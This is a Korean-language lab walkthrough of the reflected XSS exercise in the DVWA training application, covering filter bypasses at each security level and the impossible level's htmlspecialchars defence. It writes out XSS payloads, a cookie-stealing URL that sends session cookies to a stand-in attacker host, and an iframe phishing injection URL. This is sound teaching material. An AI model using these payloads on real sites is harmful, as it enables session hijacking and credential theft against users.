홈페이지 취약점 분석 이야기 파일 지도 사진 깨알






>> 목록보이기
#DVWA Reflected XSS #DVWA #Damn Vulnerable Web Application #웹해킹 실습 #실습설명서 #HTML 삽입 #HTML Injection #크로스사이트스크립트 #Cross-site Script #자바스크립트 삽입 #반사형 XSS #피싱 #phishing #세션탈취 #iframe 삽입 #해킹 시나리오 #A3-Cross-Site Scripting (XSS)

DVWA: Reflected XSS (low, medium, high level) 공략

DVWA(Damn Vulnerable Web Application) 1.9 훈련장 라이브 ISO는 다음에서 다운로드 받을 수 있다.

DVWA 1.9 훈련장 라이브 ISO를 구동하는 방법은 다음 문서에서 볼 수 있다.

여기서는 구동 후 DVWA 훈련장의 주소가 http://192.168.189.246/이었다. DVWA 누리집의 로그인 정보는 admin/password이다. 실습을 진행하기 전에 다음 두 가지 작업을 사전에 수행하야야 한다.

  1. "Setup / Reset DB" 항목에서 "Create / Reset Database"를 실행한다.
  2. "DVWA Security" 항목에서 "Security Level"을 시험하고자 하는 보안수준에 따라 Low, Medium, High 로 변경한다.

HTTP 통신을 확인하기 위해서 Firefox 환경설정에서 OWASP-ZAP을 HTTP 프록시로 연결하는 것이 좋다.

XSS 취약점은 사용자의 입력을 HTML에 출력하는 부분에서 발생한다. 기본적으로 자바스크립트 삽입이 가능한 지 점검하는 방법은 HTML 삽입 취약점 탐지방법 문서에서 살펴볼 수 있다.

기초조사: 부등호 문자 방어기작 확인

DVWA: XSS (Reflected)의 각 보안수준 문제에서 부등호(<, >)를 어떻게 처리하는 지 curl을 이용하여 살펴보자(여기에서 사용한 쿠키값은 OWASP-ZAP을 이용하여 확인하였다). 사용자가 입력하는 URL 변수는 name이고 low, medium, high, impossible에서 모두 LT<0oooo>GT를 입력하였다.

[ DVWA: 반사형 XSS (low level) ]

root@kali:~# curl --cookie "PHPSESSID=ndnl8peb1lrk880lcrpp0iras1; security=low" "http://192.168.189lnerabilities/xss_r/?name=LT%3C0oooo%3EGT" 2> /dev/null | grep 0oooo
		<pre>Hello LT<0oooo>GT</pre>
root@kali:~#

[ DVWA: 반사형 XSS (medium level) ]

root@kali:~# curl --cookie "PHPSESSID=ndnl8peb1lrk880lcrpp0iras1; security=medium" "http://192.168.189lnerabilities/xss_r/?name=LT%3C0oooo%3EGT" 2> /dev/null | grep 0oooo
		<pre>Hello LT<0oooo>GT</pre>
root@kali:~#

[ DVWA: 반사형 XSS (high level) ]

root@kali:~# curl --cookie "PHPSESSID=ndnl8peb1lrk880lcrpp0iras1; security=high" "http://192.168.189lnerabilities/xss_r/?name=LT%3C0oooo%3EGT" 2> /dev/null | grep 0oooo
		<pre>Hello LT<0oooo>GT</pre>
root@kali:~#

[ DVWA: 반사형 XSS (impossible level) ]

root@kali:~# curl --cookie "PHPSESSID=ndnl8peb1lrk880lcrpp0iras1; security=impossible" "http://192.168.189.246/vulnerabilities/xss_r/?name=LT%3C0oooo%3EGT&user_token=dceb831357eabff2d157911523b2d67f" 2> /dev/null | grep 0oooo
		<pre>Hello LT&lt;0oooo&gt;GT</pre>
root@kali:~#

네 경우 모두 name 변수의 입력 값을 HTML 내에 출력한다. 세 경우에는 부등호를 그대로 표시하고, impossible level에서만 HTML 엔티티('<' == &lt;, '>' == &gt;)로 변환하고 있다. HTML은 기본적으로 문서의 구조를 부등호로 표현하므로 low, medium, high level에서는 HTML삽입이 가능할 확률이 매우 높다. HTML 삽입이 가능하면 다양한 방법을 통해서 공격자가 원하는 자바스크립트를 삽입할 수 있게 된다.

Vulnerability: 반사형 XSS (low level) 실습 설명

Vulnerability: Reflected Cross Site Scripting (XSS) low level에서는 사용자의 입력을 그대로 출력한다. PHP 소스코드를 살펴보자.

    // Feedback for end user
    echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';

GET 방식으로 전달되는 name 변수의 값을 그대로 출력한다. 방어기작이 전혀 없다. 기초조사에서 공격자가 입력한 부등호가 변환없이 HTML에 표시되는 것을 확인하였다. HTML을 name 변수에 입력해보자.

DVWA XSS (Reflected) - low level
[ DVWA 반사형 XSS (low level): docment.cookie 출력 ]

위의 그림은 <script>alert(document.cookie)</script>을 입력한 결과이다. HTML로 삽입한 자바스크립트가 실행되어 document.cookie를 창으로 띄운 것을 볼 수 있다. 여기서는 alert() 창으로 표시하였으나 실제 공격에서는 피해자의 쿠키를 공격자에게 전송하게 할 것이다.

Vulnerability: 반사형 XSS (medium level) 실습 설명

Medium level의 PHP 소스 코드를 살펴보자.

    // Get input
    $name = str_replace( '<script>', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";

PHP의 str_replace() 함수를 이용하여 "<script>" 문자열을 제거한다. 그런데 이 함수는 대소문자를 구분한다. 반면 HTML은 대소문자를 구분하지 않는다. 대문자로 HTML을 입력해보자.

DVWA XSS (Reflected) - medium level
[ DVWA 반사형 XSS (medium level): document.cookie 출력 ]

name 변수의 입력값은 <SCRIPT>alert(document.cookie)</SCRIPT>이다. Low level에서와 마찬가지로 medium level에서도 자바스크립트를 삽입하여 document.cookie에 접근할 수 있다.

Vulnerability: 반사형 XSS (high level) 실습 설명

High level에서의 HTML 삽입 방어기작을 살펴보자. 관련 PHP 소스는 다음과 같다.

    // Get input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>"; 

PHP의 preg_replace() 함수를 이용하여 <*s*c*r*i*p*t 규칙에 해당하는 문자열을 대소문자 구분하지 않고 제거해버린다. "<script", "<SCRIPT", "<SC\RIPT", "</script", "</SCRIPT", "</SC/**/RIPT" 등의 문자열을 제거한다. 때문에 <script> 엘리먼트를 이용하여 자바스크립트를 삽입할 수 있는 방법은 없다.

그런데 자바스크립트를 삽입할 수 있는 방법이 너무나 많다는 것이 문제다. OWASP의 XSS 방어 우회법(XSS Filter Evasion Cheat Sheet)을 살펴보면 너무나 많은 방법이 있다.

DVWA XSS (Reflected) - high level
[ DVWA 반사형 XSS (high level): document.cookie 출력 ]

XSS 방어 우회의 대표적인 방법으로 <img>가 있다. 이미지가 존재하지 않을 경우(onerror), 자바스크립트를 실행할 수 있다. High level의 name 변수에 <img src=x onerror=alert(document.cookie)>를 입력해보자. Low level, medium level에서와 마찬가지로 사용자가 입력한 자바스크립트가 실행되어 웹 브라우저의 쿠키에 접근하였다.

Vulnerability: 반사형 XSS (impossible level) 실습 설명

이제 HTML삽입이 불가능한 impossible level의 PHP 소스코드를 살펴보자.

    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $name = htmlspecialchars( $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";

GET 방식으로 전달된 name 변수를 htmlspecialchars( ) 함수로 처리한 후에 HTML에 출력한다. 기본적으로 이 함수에 의해 변환되는 문자는 다음과 같다.

  • 앰퍼샌드('&')는 '&amp;'로 변환
  • 부등호 크다('>')는 '&gt;'로 변환
  • 부등호 작다('<')는 '&lt;'로 변환
  • 큰따옴표('"')는 '&quot;'로 변환

참고로, htmlspecialchars() 함수 사용시 ENT_QUOTES를 설정하면 작은따옴표(')는 &#039;로 변환된다.

DVWA XSS (Reflected) - impossible level, xss failed
[ DVWA 반사형 XSS (impossible level): 자바스크립트 실행 실패 ]

위의 그림은 impossible level에서 <img src="x" onerror='alert(document.cookie)'>를 입력한 결과이다. 웹 브라우저에서 <img src="x" onerror='alert(document.cookie)'>라는 문자열이 출력되었지만 자바스크립트가 실행되지는 않았다. XSS 공격을 제대로 방어한 것이다. HTML 소스를 살펴보자.

DVWA XSS (Reflected) - impossible level, HTML source
[ DVWA 반사형 XSS (impossible level): HTML 소스보기 ]

위 그림은 impossible level에서의 HTML 소스를 열람한 것이다. GET의 name 변수 입력 값이 출력된 HTML 소스를 보면 &lt;img src=&quot;x&quot; onerror='alert(document.cookie)'&gt;이다. 부등호와 큰따옴표를 모두 HTML 엔티티로 변환하여 HTML 삽입을 차단하고 있다.

특수한 상황에서는 htmlspecialchars() 함수를 사용하더라도 자바스크립트 삽입이 가능할 수 있다. 사용자가 입력한 값을 <script> 내에 출력하여 웹 브라우저로 전달할 때이다. 부등호 없는 자바스크립트 삽입의 실제 사례를 참조하기 바란다.

공격 시나리오 - 세션탈취

세션 쿠키를 빼내면 피해자의 권한을 탈취할 수 있다. DVWA: Reflected XSS (low level)을 이용한 세션쿠키 탈취 시나리오를 생각해보자. 공격자는 취약점을 파악하고 name 변수 값을 조작하여 <img width="0" height="0" src="x" onerror="document.location='http://h4ck3r.site/log_cookie.cgi?cookie='+document.cookie">라는 값을 작성한다. document.cookie 값을 h4ck3r.site로 전달하는 공격구문이다. 이 공격구문을 URL로 표현하면 다음과 같다.

http://192.168.189.246/vulnerabilities/xss_r/?name=%3Cimg+width%3D%220%22+height%3D%220%22+src%3D%22x%22+onerror%3D%22document.location%3D%27http%3A%2F%2Fh4ck3r.site%2Flog_cookie.cgi%3Fcookie%3D%27%2Bdocument.cookie%22%3E

공격자는 관리자의 웹메일 계정으로 위의 URL을 보낸다. 관리자가 관심을 가질만한 내용의 메일이지만 실제로는 위의 URL이 <iframe>에 은닉되어 있을 것이다.

관리자는 피해 사이트에 5분 전까지 관리자로 접속했다가 해당 탭을 껐다. 웹브라우저를 종료하지는 않았다. 그리고 같은 웹브라우저에서 공격자가 보낸 웹메일을 읽는다. 공격자가 <iframe>에 숨긴 위의 URL이 실행된다. 관리자는 눈치채지 못한다.

http://h4ck3r.site/log_cookie.cgi?cookie=PHPSESSID=ndnl8peb1lrk880lcrpp0iras1;%20security=low

<iframe>에 은닉한 URL은 자바스크립트를 통해 웹브라우저가 위의 URL로 접속하게 한다. 공격자의 서버로 관리자의 세션 키가 전송된다.

공격자는 자신의 서버로 전달된 document.cookie를 자신의 웹 브라우저에 수작업으로 입력한다(예: Firebug). 이제 공격자는 피해 웹사이트의 관리자 권한으로 접속하게 된다.

일반적으로 쿠키는 유효기간을 정하지 않는 경우가 많다. 이러한 경우에는 웹 브라우저를 완전히 종료하지 않는 한, 웹 브라우저는 쿠키를 계속 저장하고 있다. 이 시나리오에서, 관리자는 관리자 페이지 탭(tab)을 껐지만 세션은 살아 있었다. 세션타임아웃(Session Timeout), 사용후에는 반드시 로그아웃 하기 등 다양한 권고사항이 있지만 XSS 취약점을 보완하지 않는 한 이러한 공격을 막기는 어렵다.

공격 시나리오 - 피싱(Phishing)

세션 쿠키에 대해서 HttpOnly가 설정된 경우에는 XSS를 이용한 세션탈취가 어렵다. 이런 경우에는 HTML삽입을 통해 피싱(Phishing)을 시도할 수 있다.

공격자는 외부 URL을 <iframe>에 삽입할 수 있도록 다음과 같은 URL을 준비한다.

http://192.168.189.246/vulnerabilities/xss_r/?name=You+need+to+login+to+use+this+page.%3Cbr%3E%3C%2Fpre%3E%3Ciframe+width%3D600+height%3D400+src%3D%22http%3A%2F%2Fwww.daum.net%22%3E%3C%2Fiframe%3E#

위의 URL에서 name 변수의 값은 You need to login to use this page.<br></pre><iframe width=600 height=400 src="http://www.daum.net"></iframe>이다. 여기서는 예를 들기 위해서 <iframe>의 src 속성을 http://www.daum.net으로 하였다. 실제 공격에서는 보다 정교하게 조작된 외부 URL을 사용할 것이다.

DVWA XSS (Reflected) - low level, iframe injection
[ DVWA 반사형 XSS (low level): iframe으로 외부 페이지 삽입 ]

메일이나 질의응답 게시판 등을 이용하여 관리자가 공격자의 URL에 접근하게 유인한다. 이때 관리자는 위와 같은 화면을 보게 된다. 만약 http://www.daum.net이 공격자가 매우 정교하게 만든 관리자 로그인 페이지라면 관리자가 ID/PW를 입력할 가능성이 있다. 관리자가 부주의하게 ID/PW를 입력했다면 공격자의 서버에 계정정보가 저장된다.

[처음 작성한 날: 2016.12.27]    [마지막으로 고친 날: 2016.12.27] 


< 이전 글 : DVWA Blind SQL Injection (low, medium level) sqlmap 실습 설명서 (2016.12.26)

> 다음 글 : DVWA Stored Cross Site Scripting (XSS) 실습 설명서 (2017.01.01)


크리에이티브 커먼즈 라이선스 이 저작물은 크리에이티브 커먼즈 저작자표시 4.0 국제 라이선스에 따라 이용할 수 있습니다.
잘못된 내용, 오탈자 및 기타 문의사항은 j1n5uk{at}daum.net으로 연락주시기 바랍니다.
문서의 시작으로 컴퓨터 깨알지식 웹핵 누리집 대문